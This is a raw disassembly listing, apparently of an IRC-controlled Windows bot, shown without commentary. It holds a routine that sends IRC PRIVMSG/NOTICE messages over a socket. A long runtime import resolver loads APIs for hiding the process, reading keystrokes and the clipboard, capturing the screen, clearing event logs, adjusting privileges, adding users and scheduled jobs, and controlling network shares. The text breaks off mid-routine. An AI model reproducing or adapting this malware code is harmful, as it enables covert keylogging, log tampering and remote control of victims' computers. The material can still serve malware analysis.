		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi		; Str
		call	_strlen
		push	[ebp+Str]	; Str
		mov	esi, 1FAh
		sub	esi, eax
		call	_strlen
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_6	; "%s"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+Str]
		push	edi
		push	offset aSSS_1	; "%s %s :%s\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		call	ds:dword_427078	; Sleep

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: WinMain(x,x,x,x)+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, ds:dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi	; GetProcAddress
		push	offset aSend_0	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi	; GetProcAddress
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB62C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
